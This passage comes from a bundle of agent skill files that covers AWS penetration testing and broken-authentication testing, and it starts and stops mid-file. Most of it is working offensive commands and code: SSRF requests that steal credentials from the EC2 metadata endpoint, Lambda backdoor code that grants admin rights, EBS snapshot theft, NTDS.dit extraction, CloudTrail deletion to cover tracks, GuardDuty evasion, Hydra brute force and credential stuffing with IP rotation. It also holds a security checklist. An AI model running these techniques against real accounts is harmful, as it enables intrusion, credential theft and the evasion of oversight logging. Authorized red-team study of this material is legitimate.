attempts/min per IP, exponential backoff |\n| Rolling your own crypto | Subtle vulnerabilities | Use established libraries (bcrypt, argon2, jose) |\n| Not validating JWT claims | Token misuse across services | Always verify `iss`, `aud`, `exp` |\n","skills/aws-penetration-testing/SKILL.md":"---\nname: aws-penetration-testing\ndescription: This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# AWS Penetration Testing\n\n## Purpose\n\nProvide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.\n\n## Inputs/Prerequisites\n\n- AWS CLI configured with credentials\n- Valid AWS credentials (even low-privilege)\n- Understanding of AWS IAM model\n- Python 3, boto3 library\n- Tools: Pacu, Prowler, ScoutSuite, SkyArk\n\n## Outputs/Deliverables\n\n- IAM privilege escalation paths\n- Extracted credentials and secrets\n- Compromised EC2/Lambda/S3 resources\n- Persistence mechanisms\n- Security audit findings\n\n---\n\n## Essential Tools\n\n| Tool | Purpose | Installation |\n|------|---------|--------------|\n| Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` |\n| SkyArk | Shadow Admin discovery | `Import-Module .\\SkyArk.ps1` |\n| Prowler | Security auditing | `pip install prowler` |\n| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` |\n| enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` |\n| Principal Mapper | IAM analysis | `pip install principalmapper` |\n\n---\n\n## Core Workflow\n\n### Step 1: Initial Enumeration\n\nIdentify the compromised identity and permissions:\n\n```bash\n# Check current identity\naws sts get-caller-identity\n\n# Configure profile\naws configure --profile compromised\n\n# List access keys\naws iam list-access-keys\n\n# Enumerate permissions\n./enumerate-iam.py --access-key AKIA... --secret-key StF0q...\n```\n\n### Step 2: IAM Enumeration\n\n```bash\n# List all users\naws iam list-users\n\n# List groups for user\naws iam list-groups-for-user --user-name TARGET_USER\n\n# List attached policies\naws iam list-attached-user-policies --user-name TARGET_USER\n\n# List inline policies\naws iam list-user-policies --user-name TARGET_USER\n\n# Get policy details\naws iam get-policy --policy-arn POLICY_ARN\naws iam get-policy-version --policy-arn POLICY_ARN --version-id v1\n\n# List roles\naws iam list-roles\naws iam list-attached-role-policies --role-name ROLE_NAME\n```\n\n### Step 3: Metadata SSRF (EC2)\n\nExploit SSRF to access metadata endpoint (IMDSv1):\n\n```bash\n# Access metadata endpoint\nhttp://169.254.169.254/latest/meta-data/\n\n# Get IAM role name\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# Extract temporary credentials\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME\n\n# Response contains:\n{\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"...\",\n  \"Token\": \"...\",\n  \"Expiration\": \"2019-08-01T05:20:30Z\"\n}\n```\n\n**For IMDSv2 (token required):**\n\n```bash\n# Get token first\nTOKEN=$(curl -X PUT -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" \\\n  \"http://169.254.169.254/latest/api/token\")\n\n# Use token for requests\ncurl -H \"X-aws-ec2-metadata-token:$TOKEN\" \\\n  \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\n**Fargate Container Credentials:**\n\n```bash\n# Read environment for credential path\n/proc/self/environ\n# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...\n\n# Access credentials\nhttp://169.254.170.2/v2/credentials/CREDENTIAL-PATH\n```\n\n---\n\n## Privilege Escalation Techniques\n\n### Shadow Admin Permissions\n\nThese permissions are equivalent to administrator:\n\n| Permission | Exploitation |\n|------------|--------------|\n| `iam:CreateAccessKey` | Create keys for admin user |\n| `iam:CreateLoginProfile` | Set password for any user |\n| `iam:AttachUserPolicy` | Attach admin policy to self |\n| `iam:PutUserPolicy` | Add inline admin policy |\n| `iam:AddUserToGroup` | Add self to admin group |\n| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role |\n| `lambda:UpdateFunctionCode` | Inject code into Lambda |\n\n### Create Access Key for Another User\n\n```bash\naws iam create-access-key --user-name target_user\n```\n\n### Attach Admin Policy\n\n```bash\naws iam attach-user-policy --user-name my_username \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\n### Add Inline Admin Policy\n\n```bash\naws iam put-user-policy --user-name my_username \\\n  --policy-name admin_policy \\\n  --policy-document file://admin-policy.json\n```\n\n### Lambda Privilege Escalation\n\n```python\n# code.py - Inject into Lambda function\nimport boto3\n\ndef lambda_handler(event, context):\n    client = boto3.client('iam')\n    response = client.attach_user_policy(\n        UserName='my_username',\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\n    )\n    return response\n```\n\n```bash\n# Update Lambda code\naws lambda update-function-code --function-name target_function \\\n  --zip-file fileb://malicious.zip\n```\n\n---\n\n## S3 Bucket Exploitation\n\n### Bucket Discovery\n\n```bash\n# Using bucket_finder\n./bucket_finder.rb wordlist.txt\n./bucket_finder.rb --download --region us-east-1 wordlist.txt\n\n# Common bucket URL patterns\nhttps://{bucket-name}.s3.amazonaws.com\nhttps://s3.amazonaws.com/{bucket-name}\n```\n\n### Bucket Enumeration\n\n```bash\n# List buckets (with creds)\naws s3 ls\n\n# List bucket contents\naws s3 ls s3://bucket-name --recursive\n\n# Download all files\naws s3 sync s3://bucket-name ./local-folder\n```\n\n### Public Bucket Search\n\n```\nhttps://buckets.grayhatwarfare.com/\n```\n\n---\n\n## Lambda Exploitation\n\n```bash\n# List Lambda functions\naws lambda list-functions\n\n# Get function code\naws lambda get-function --function-name FUNCTION_NAME\n# Download URL provided in response\n\n# Invoke function\naws lambda invoke --function-name FUNCTION_NAME output.txt\n```\n\n---\n\n## SSM Command Execution\n\nSystems Manager allows command execution on EC2 instances:\n\n```bash\n# List managed instances\naws ssm describe-instance-information\n\n# Execute command\naws ssm send-command --instance-ids \"i-0123456789\" \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters commands=\"whoami\"\n\n# Get command output\naws ssm list-command-invocations --command-id \"CMD-ID\" \\\n  --details --query \"CommandInvocations[].CommandPlugins[].Output\"\n```\n\n---\n\n## EC2 Exploitation\n\n### Mount EBS Volume\n\n```bash\n# Create snapshot of target volume\naws ec2 create-snapshot --volume-id vol-xxx --description \"Audit\"\n\n# Create volume from snapshot\naws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a\n\n# Attach to attacker instance\naws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf\n\n# Mount and access\nsudo mkdir /mnt/stolen\nsudo mount /dev/xvdf1 /mnt/stolen\n```\n\n### Shadow Copy Attack (Windows DC)\n\n```bash\n# CloudCopy technique\n# 1. Create snapshot of DC volume\n# 2. Share snapshot with attacker account\n# 3. Mount in attacker instance\n# 4. Extract NTDS.dit and SYSTEM\nsecretsdump.py -system ./SYSTEM -ntds ./ntds.dit local\n```\n\n---\n\n## Console Access from API Keys\n\nConvert CLI credentials to console access:\n\n```bash\ngit clone https://github.com/NetSPI/aws_consoler\naws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY\n\n# Generates signin URL for console access\n```\n\n---\n\n## Covering Tracks\n\n### Disable CloudTrail\n\n```bash\n# Delete trail\naws cloudtrail delete-trail --name trail_name\n\n# Disable global events\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events\n\n# Disable specific region\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events --no-is-multi-region-trail\n```\n\n**Note:** Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.\n\n---\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Get identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List roles | `aws iam list-roles` |\n| List buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |\n\n---\n\n## Constraints\n\n**Must:**\n- Obtain written authorization before testing\n- Document all actions for audit trail\n- Test in scope resources only\n\n**Must Not:**\n- Modify production data without approval\n- Leave persistent backdoors without documentation\n- Disable security controls permanently\n\n**Should:**\n- Check for IMDSv2 before attempting metadata attacks\n- Enumerate thoroughly before exploitation\n- Clean up test resources after engagement\n\n---\n\n## Examples\n\n### Example 1: SSRF to Admin\n\n```bash\n# 1. Find SSRF vulnerability in web app\nhttps://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# 2. Get role name from response\n# 3. Extract credentials\nhttps://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole\n\n# 4. Configure AWS CLI with stolen creds\nexport AWS_ACCESS_KEY_ID=ASIA...\nexport AWS_SECRET_ACCESS_KEY=...\nexport AWS_SESSION_TOKEN=...\n\n# 5. Verify access\naws sts get-caller-identity\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Access Denied on all commands | Enumerate permissions with enumerate-iam |\n| Metadata endpoint blocked | Check for IMDSv2, try container metadata |\n| GuardDuty alerts | Use Pacu with custom user-agent |\n| Expired credentials | Re-fetch from metadata (temp creds rotate) |\n| CloudTrail logging actions | Consider disable or log obfuscation |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see [references/advanced-aws-pentesting.md](references/advanced-aws-pentesting.md).\n","skills/aws-penetration-testing/references/advanced-aws-pentesting.md":"# Advanced AWS Penetration Testing Reference\r\n\r\n## Table of Contents\r\n- [Training Resources](#training-resources)\r\n- [Extended Tools Arsenal](#extended-tools-arsenal)\r\n- [AWS API Calls That Return Credentials](#aws-api-calls-that-return-credentials)\r\n- [Lambda & API Gateway](#lambda--api-gateway)\r\n- [Secrets Manager & KMS](#secrets-manager--kms)\r\n- [Container Security (ECS/EKS/ECR)](#container-security-ecseksecr)\r\n- [RDS Database Exploitation](#rds-database-exploitation)\r\n- [DynamoDB Exploitation](#dynamodb-exploitation)\r\n- [VPC Enumeration & Lateral Movement](#vpc-enumeration--lateral-movement)\r\n- [Security Checklist](#security-checklist)\r\n\r\n---\r\n\r\n## Training Resources\r\n\r\n| Resource | Description | URL |\r\n|----------|-------------|-----|\r\n| AWSGoat | Damn Vulnerable AWS Infrastructure | github.com/ine-labs/AWSGoat |\r\n| Cloudgoat | AWS CTF-style scenario | github.com/RhinoSecurityLabs/cloudgoat |\r\n| Flaws | AWS security challenge | flaws.cloud |\r\n| SadCloud | Terraform for vuln AWS | github.com/nccgroup/sadcloud |\r\n| DVCA | Vulnerable Cloud App | medium.com/poka-techblog |\r\n\r\n---\r\n\r\n## Extended Tools Arsenal\r\n\r\n### weirdAAL - AWS Attack Library\r\n```bash\r\npython3 weirdAAL.py -m ec2_describe_instances -t demo\r\npython3 weirdAAL.py -m lambda_get_account_settings -t demo\r\npython3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2'\r\n```\r\n\r\n### cloudmapper - AWS Environment Analyzer\r\n```bash\r\ngit clone https://github.com/duo-labs/cloudmapper.git\r\npipenv install --skip-lock\r\npipenv shell\r\n\r\n# Commands\r\nreport     # Generate HTML report\r\niam_report # IAM-specific report\r\naudit      # Check misconfigurations\r\ncollect    # Collect account metadata\r\nfind_admins # Identify admin users/roles\r\n```\r\n\r\n### cloudsplaining - IAM Security Assessment\r\n```bash\r\npip3 install --user cloudsplaining\r\ncloudsplaining download --profile myawsprofile\r\ncloudsplaining scan --input-file default.json\r\n```\r\n\r\n### s3_objects_check - S3 Object Permissions\r\n```bash\r\ngit clone https://github.com/nccgroup/s3_objects_check\r\npython s3-objects-check.py -p whitebox-profile -e blackbox-profile\r\n```\r\n\r\n### dufflebag - Find EBS Secrets\r\n```bash\r\n# Finds secrets exposed via Amazon EBS's \"public\" mode\r\ngit clone https://github.com/BishopFox/dufflebag\r\n```\r\n\r\n---\r\n\r\n## AWS API Calls That Return Credentials\r\n\r\n| API Call | Description |\r\n|----------|-------------|\r\n| `chime:createapikey` | Create API key |\r\n| `codepipeline:pollforjobs` | Poll for jobs |\r\n| `cognito-identity:getopenidtoken` | Get OpenID token |\r\n| `cognito-identity:getcredentialsforidentity` | Get identity credentials |\r\n| `connect:getfederationtoken` | Get federation token |\r\n| `ecr:getauthorizationtoken` | ECR auth token |\r\n| `gamelift:requestuploadcredentials` | GameLift upload creds |\r\n| `iam:createaccesskey` | Create access key |\r\n| `iam:createloginprofile` | Create login profile |\r\n| `iam:createservicespecificcredential` | Service-specific creds |\r\n| `lightsail:getinstanceaccessdetails` | Instance access details |\r\n| `lightsail:getrelationaldatabasemasteruserpassword` | DB master password |\r\n| `rds-db:connect` | RDS connect |\r\n| `redshift:getclustercredentials` | Redshift credentials |\r\n| `sso:getrolecredentials` | SSO role credentials |\r\n| `sts:assumerole` | Assume role |\r\n| `sts:assumerolewithsaml` | Assume role with SAML |\r\n| `sts:assumerolewithwebidentity` | Web identity assume |\r\n| `sts:getfederationtoken` | Federation token |\r\n| `sts:getsessiontoken` | Session token |\r\n\r\n---\r\n\r\n## Lambda & API Gateway\r\n\r\n### Lambda Enumeration\r\n\r\n```bash\r\n# List all lambda functions\r\naws lambda list-functions\r\n\r\n# Get function details and download code\r\naws lambda get-function --function-name FUNCTION_NAME\r\nwget -O lambda-function.zip \"url-from-previous-query\"\r\n\r\n# Get function policy\r\naws lambda get-policy --function-name FUNCTION_NAME\r\n\r\n# List event source mappings\r\naws lambda list-event-source-mappings --function-name FUNCTION_NAME\r\n\r\n# List Lambda layers (dependencies)\r\naws lambda list-layers\r\naws lambda get-layer-version --layer-name NAME --version-number VERSION\r\n```\r\n\r\n### API Gateway Enumeration\r\n\r\n```bash\r\n# List REST APIs\r\naws apigateway get-rest-apis\r\n\r\n# Get specific API info\r\naws apigateway get-rest-api --rest-api-id ID\r\n\r\n# List endpoints (resources)\r\naws apigateway get-resources --rest-api-id ID\r\n\r\n# Get method info\r\naws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET\r\n\r\n# List API versions (stages)\r\naws apigateway get-stages --rest-api-id ID\r\n\r\n# List API keys\r\naws apigateway get-api-keys --include-values\r\n```\r\n\r\n### Lambda Credential Access\r\n\r\n```bash\r\n# Via RCE - get environment variables\r\nhttps://apigateway/prod/system?cmd=env\r\n\r\n# Via SSRF - access runtime API\r\nhttps://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/\r\n\r\n# Via file read\r\nhttps://apigateway/prod/system?cmd=file:///proc/self/environ\r\n```\r\n\r\n### Lambda Backdooring\r\n\r\n```python\r\n# Malicious Lambda code to escalate privileges\r\nimport boto3\r\nimport json\r\n\r\ndef handler(event, context):\r\n    iam = boto3.client(\"iam\")\r\n    iam.attach_role_policy(\r\n        RoleName=\"role_name\",\r\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\r\n    )\r\n    iam.attach_user_policy(\r\n        UserName=\"user_name\",\r\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\r\n    )\r\n    return {'statusCode': 200, 'body': json.dumps(\"Pwned\")}\r\n```\r\n\r\n```bash\r\n# Update function with backdoor\r\naws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip\r\n\r\n# Invoke backdoored function\r\ncurl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT\r\n```\r\n\r\n---\r\n\r\n## Secrets Manager & KMS\r\n\r\n### Secrets Manager Enumeration\r\n\r\n```bash\r\n# List all secrets\r\naws secretsmanager list-secrets\r\n\r\n# Describe specific secret\r\naws secretsmanager describe-secret --secret-id NAME\r\n\r\n# Get resource policy\r\naws secretsmanager get-resource-policy --secret-id ID\r\n\r\n# Retrieve secret value\r\naws secretsmanager get-secret-value --secret-id ID\r\n```\r\n\r\n### KMS Enumeration\r\n\r\n```bash\r\n# List KMS keys\r\naws kms list-keys\r\n\r\n# Describe key\r\naws kms describe-key --key-id ID\r\n\r\n# List key policies\r\naws kms list-key-policies --key-id ID\r\n\r\n# Get full policy\r\naws kms get-key-policy --policy-name NAME --key-id ID\r\n```\r\n\r\n### KMS Decryption\r\n\r\n```bash\r\n# Decrypt file (key info embedded in ciphertext)\r\naws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext\r\n```\r\n\r\n---\r\n\r\n## Container Security (ECS/EKS/ECR)\r\n\r\n### ECR Enumeration\r\n\r\n```bash\r\n# List repositories\r\naws ecr describe-repositories\r\n\r\n# Get repository policy\r\naws ecr get-repository-policy --repository-name NAME\r\n\r\n# List images\r\naws ecr list-images --repository-name NAME\r\n\r\n# Describe image\r\naws ecr describe-images --repository-name NAME --image-ids imageTag=TAG\r\n```\r\n\r\n### ECS Enumeration\r\n\r\n```bash\r\n# List clusters\r\naws ecs list-clusters\r\n\r\n# Describe cluster\r\naws ecs describe-clusters --cluster NAME\r\n\r\n# List services\r\naws ecs list-services --cluster NAME\r\n\r\n# Describe service\r\naws ecs describe-services --cluster NAME --services SERVICE\r\n\r\n# List tasks\r\naws ecs list-tasks --cluster NAME\r\n\r\n# Describe task (shows network info for pivoting)\r\naws ecs describe-tasks --cluster NAME --tasks TASK_ARN\r\n\r\n# List container instances\r\naws ecs list-container-instances --cluster NAME\r\n```\r\n\r\n### EKS Enumeration\r\n\r\n```bash\r\n# List EKS clusters\r\naws eks list-clusters\r\n\r\n# Describe cluster\r\naws eks describe-cluster --name NAME\r\n\r\n# List node groups\r\naws eks list-nodegroups --cluster-name NAME\r\n\r\n# Describe node group\r\naws eks describe-nodegroup --cluster-name NAME --nodegroup-name NODE_NAME\r\n\r\n# List Fargate profiles\r\naws eks list-fargate-profiles --cluster-name NAME\r\n```\r\n\r\n### Container Backdooring\r\n\r\n```bash\r\n# Authenticate Docker to ECR\r\naws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ECR_ADDR\r\n\r\n# Build backdoored image\r\ndocker build -t image_name .\r\n\r\n# Tag for ECR\r\ndocker tag image_name ECR_ADDR:IMAGE_NAME\r\n\r\n# Push to ECR\r\ndocker push ECR_ADDR:IMAGE_NAME\r\n```\r\n\r\n### EKS Secrets via RCE\r\n\r\n```bash\r\n# List Kubernetes secrets\r\nhttps://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount\r\n\r\n# Get service account token\r\nhttps://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token\r\n```\r\n\r\n---\r\n\r\n## RDS Database Exploitation\r\n\r\n### RDS Enumeration\r\n\r\n```bash\r\n# List RDS clusters\r\naws rds describe-db-clusters\r\n\r\n# List RDS instances\r\naws rds describe-db-instances\r\n# Check: IAMDatabaseAuthenticationEnabled: false = password auth\r\n\r\n# List subnet groups\r\naws rds describe-db-subnet-groups\r\n\r\n# List security groups\r\naws rds describe-db-security-groups\r\n\r\n# List proxies\r\naws rds describe-db-proxies\r\n```\r\n\r\n### Password-Based Access\r\n\r\n```bash\r\nmysql -h HOSTNAME -u USERNAME -P PORT -p\r\n```\r\n\r\n### IAM-Based Access\r\n\r\n```bash\r\n# Generate auth token\r\nTOKEN=$(aws rds generate-db-auth-token \\\r\n  --hostname HOSTNAME \\\r\n  --port PORT \\\r\n  --username USERNAME \\\r\n  --region REGION)\r\n\r\n# Connect with token\r\nmysql -h HOSTNAME -u USERNAME -P PORT \\\r\n  --enable-cleartext-plugin --password=$TOKEN\r\n```\r\n\r\n---\r\n\r\n## DynamoDB Exploitation\r\n\r\n```bash\r\n# List tables\r\naws dynamodb list-tables\r\n\r\n# Scan table contents\r\naws dynamodb scan --table-name TABLE_NAME | jq -r '.Items[]'\r\n\r\n# Query specific items\r\naws dynamodb query --table-name TABLE_NAME \\\r\n  --key-condition-expression \"pk = :pk\" \\\r\n  --expression-attribute-values '{\":pk\":{\"S\":\"user\"}}'\r\n```\r\n\r\n---\r\n\r\n## VPC Enumeration & Lateral Movement\r\n\r\n### VPC Enumeration\r\n\r\n```bash\r\n# List VPCs\r\naws ec2 describe-vpcs\r\n\r\n# List subnets\r\naws ec2 describe-subnets --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List route tables\r\naws ec2 describe-route-tables --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List Network ACLs\r\naws ec2 describe-network-acls\r\n\r\n# List VPC peering connections\r\naws ec2 describe-vpc-peering-connections\r\n```\r\n\r\n### Route Table Targets\r\n\r\n| Destination | Target | Description |\r\n|-------------|--------|-------------|\r\n| IP | `local` | VPC internal |\r\n| IP | `igw` | Internet Gateway |\r\n| IP | `nat` | NAT Gateway |\r\n| IP | `pcx` | VPC Peering |\r\n| IP | `vpce` | VPC Endpoint |\r\n| IP | `vgw` | VPN Gateway |\r\n| IP | `eni` | Network Interface |\r\n\r\n### Lateral Movement via VPC Peering\r\n\r\n```bash\r\n# List peering connections\r\naws ec2 describe-vpc-peering-connections\r\n\r\n# List instances in target VPC\r\naws ec2 describe-instances --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List instances in specific subnet\r\naws ec2 describe-instances --filters \"Name=subnet-id,Values=SUBNET_ID\"\r\n```\r\n\r\n---\r\n\r\n## Security Checklist\r\n\r\n### Identity and Access Management\r\n- [ ] Avoid use of root account\r\n- [ ] MFA enabled for all IAM users with console access\r\n- [ ] Disable credentials unused for 90+ days\r\n- [ ] Rotate access keys every 90 days\r\n- [ ] Password policy: uppercase, lowercase, symbol, number, 14+ chars\r\n- [ ] No root access keys exist\r\n- [ ] MFA enabled for root account\r\n- [ ] IAM policies attached to groups/roles only\r\n\r\n### Logging\r\n- [ ] CloudTrail enabled in all regions\r\n- [ ] CloudTrail log file validation enabled\r\n- [ ] CloudTrail S3 bucket not publicly accessible\r\n- [ ] CloudTrail integrated with CloudWatch Logs\r\n- [ ] AWS Config enabled in all regions\r\n- [ ] CloudTrail logs encrypted with KMS\r\n- [ ] KMS key rotation enabled\r\n\r\n### Networking\r\n- [ ] No security groups allow 0.0.0.0/0 to port 22\r\n- [ ] No security groups allow 0.0.0.0/0 to port 3389\r\n- [ ] VPC flow logging enabled\r\n- [ ] Default security group restricts all traffic\r\n\r\n### Monitoring\r\n- [ ] Alarm for unauthorized API calls\r\n- [ ] Alarm for console sign-in without MFA\r\n- [ ] Alarm for root account usage\r\n- [ ] Alarm for IAM policy changes\r\n- [ ] Alarm for CloudTrail config changes\r\n- [ ] Alarm for console auth failures\r\n- [ ] Alarm for CMK disabling/deletion\r\n- [ ] Alarm for S3 bucket policy changes\r\n- [ ] Alarm for security group changes\r\n- [ ] Alarm for NACL changes\r\n- [ ] Alarm for VPC changes\r\n","skills/broken-authentication/SKILL.md":"---\nname: broken-authentication\ndescription: This skill should be used when the user asks to \"test for broken authentication vulnerabilities\", \"assess session management security\", \"perform credential stuffing tests\", \"evaluate password policies\", \"test for session fixation\", or \"identify authentication bypass flaws\". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Broken Authentication Testing\n\n## Purpose\n\nIdentify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.\n\n## Prerequisites\n\n### Required Knowledge\n- HTTP protocol and session mechanisms\n- Authentication types (SFA, 2FA, MFA)\n- Cookie and token handling\n- Common authentication frameworks\n\n### Required Tools\n- Burp Suite Professional or Community\n- Hydra or similar brute-force tools\n- Custom wordlists for credential testing\n- Browser developer tools\n\n### Required Access\n- Target application URL\n- Test account credentials\n- Written authorization for testing\n\n## Outputs and Deliverables\n\n1. **Authentication Assessment Report** - Document all identified vulnerabilities\n2. **Credential Testing Results** - Brute-force and dictionary attack outcomes\n3. **Session Security Analysis** - Token randomness and timeout evaluation\n4. **Remediation Recommendations** - Security hardening guidance\n\n## Core Workflow\n\n### Phase 1: Authentication Mechanism Analysis\n\nUnderstand the application's authentication architecture:\n\n```\n# Identify authentication type\n- Password-based (forms, basic auth, digest)\n- Token-based (JWT, OAuth, API keys)\n- Certificate-based (mutual TLS)\n- Multi-factor (SMS, TOTP, hardware tokens)\n\n# Map authentication endpoints\n/login, /signin, /authenticate\n/register, /signup\n/forgot-password, /reset-password\n/logout, /signout\n/api/auth/*, /oauth/*\n```\n\nCapture and analyze authentication requests:\n\n```http\nPOST /login HTTP/1.1\nHost: target.com\nContent-Type: application/x-www-form-urlencoded\n\nusername=test&password=test123\n```\n\n### Phase 2: Password Policy Testing\n\nEvaluate password requirements and enforcement:\n\n```bash\n# Test minimum length (a, ab, abcdefgh)\n# Test complexity (password, password1, Password1!)\n# Test common weak passwords (123456, password, qwerty, admin)\n# Test username as password (admin/admin, test/test)\n```\n\nDocument policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.\n\n### Phase 3: Credential Enumeration\n\nTest for username enumeration vulnerabilities:\n\n```bash\n# Compare responses for valid vs invalid usernames\n# Invalid: \"Invalid username\" vs Valid: \"Invalid password\"\n# Check timing differences, response codes, registration messages\n```\n\n# Password reset\n\"Email sent if account exists\" (secure)\n\"No account with that email\" (leaks info)\n\n# API responses\n{\"error\": \"user_not_found\"}\n{\"error\": \"invalid_password\"}\n```\n\n### Phase 4: Brute Force Testing\n\nTest account lockout and rate limiting:\n\n```bash\n# Using Hydra for form-based auth\nhydra -l admin -P /usr/share/wordlists/rockyou.txt \\\n  target.com http-post-form \\\n  \"/login:username=^USER^&password=^PASS^:Invalid credentials\"\n\n# Using Burp Intruder\n1. Capture login request\n2. Send to Intruder\n3. Set payload positions on password field\n4. Load wordlist\n5. Start attack\n6. Analyze response lengths/codes\n```\n\nCheck for protections:\n\n```bash\n# Account lockout\n- After how many attempts?\n- Duration of lockout?\n- Lockout notification?\n\n# Rate limiting\n- Requests per minute limit?\n- IP-based or account-based?\n- Bypass via headers (X-Forwarded-For)?\n\n# CAPTCHA\n- After failed attempts?\n- Easily bypassable?\n```\n\n### Phase 5: Credential Stuffing\n\nTest with known breached credentials:\n\n```bash\n# Credential stuffing differs from brute force\n# Uses known email:password pairs from breaches\n\n# Using Burp Intruder with Pitchfork attack\n1. Set username and password as positions\n2. Load email list as payload 1\n3. Load password list as payload 2 (matched pairs)\n4. Analyze for successful logins\n\n# Detection evasion\n- Slow request rate\n- Rotate source IPs\n- Randomize user agents\n- Add delays between attempts\n```\n\n### Phase 6: Session Management Testing\n\nAnalyze session token security:\n\n```bash\n# Capture session cookie\nCookie: SESSIONID=abc123def456\n\n# Test token characteristics\n1. Entropy - Is it random enough?\n2. Length - Sufficient length (128+ bits)?\n3. Predictability - Sequential patterns?\n4. Secure flags - HttpOnly, Secure, SameSite?\n```\n\nSession token analysis:\n\n```python\n#!/usr/bin/env python3\nimport requests\nimport hashlib\n\n# Collect multiple session tokens\ntokens = []\nfor i in range(100):\n    response = requests.get(\"https://target.com/login\")\n    token = response.cookies.get(\"SESSIONID\")\n    tokens.append(token)\n\n# Analyze for patterns\n# Check for sequential increments\n# Calculate entropy\n# Look for timestamp components\n```\n\n### Phase 7: Session Fixation Testing\n\nTest if session is regenerated after authentication:\n\n```bash\n# Step 1: Get session before login\nGET /login HTTP/1.1\nResponse: Set-Cookie: SESSIONID=abc123\n\n# Step 2: Login with same session\nPOST /login HTTP/1.1\nCookie: SESSIONID=abc123\nusername=valid&password=valid\n\n# Step 3: Check if session changed\n# VULNERABLE if SESSIONID remains abc123\n# SECURE if new session assigned after login\n```\n\nAttack scenario:\n\n```bash\n# Attacker workflow:\n1. Attacker visits site, gets session: SESSIONID=attacker_session\n2. Attacker sends link to victim with fixed session:\n   https://target.com/login?SESSIONID=attacker_session\n3. Victim logs in with attacker's session\n4. Attacker now has authenticated session\n```\n\n### Phase 8: Session Timeout Testing\n\nVerify session expiration policies:\n\n```bash\n# Test idle timeout\n1. Login and note session cookie\n2. Wait without activity (15, 30, 60 minutes)\n3. Attempt to use session\n4. Check if session is still valid\n\n# Test absolute timeout\n1. Login and continuously use session\n2. Check if forced logout after set period (8 hours, 24 hours)\n\n# Test logout functionality\n1. Login and note session\n2. Click logout\n3. Attempt to reuse old session cookie\n4. Session should be invalidated server-side\n```\n\n### Phase 9: Multi-Factor Authentication Testing\n\nAssess MFA implementation security:\n\n```bash\n# OTP brute force\n- 4-digit OTP = 10,000 combinations\n- 6-digit OTP = 1,000,000 combinations\n- Test rate limiting on OTP endpoint\n\n# OTP bypass techniques\n- Skip MFA step by direct URL access\n- Modify response to indicate MFA passed\n- Null/empty OTP submission\n- Previous valid OTP reuse\n\n# API Version Downgrade Attack (crAPI example)\n# If /api/v3/check-otp has rate limiting, try older versions:\nPOST /api/v2/check-otp\n{\"otp\": \"1234\"}\n# Older API versions may lack security controls\n\n# Using Burp for OTP testing\n1. Capture OTP verification request\n2. Send to Intruder\n3. Set OTP field as payload position\n4. Use numbers payload (0000-9999)\n5. Check for successful bypass\n```\n\nTest MFA enrollment:\n\n```bash\n# Forced enrollment\n- Can MFA be skipped during setup?\n- Can backup codes be accessed without verification?\n\n# Recovery process\n- Can MFA be disabled via email alone?\n- Social engineering potential?\n```\n\n### Phase 10: Password Reset Testing\n\nAnalyze password reset 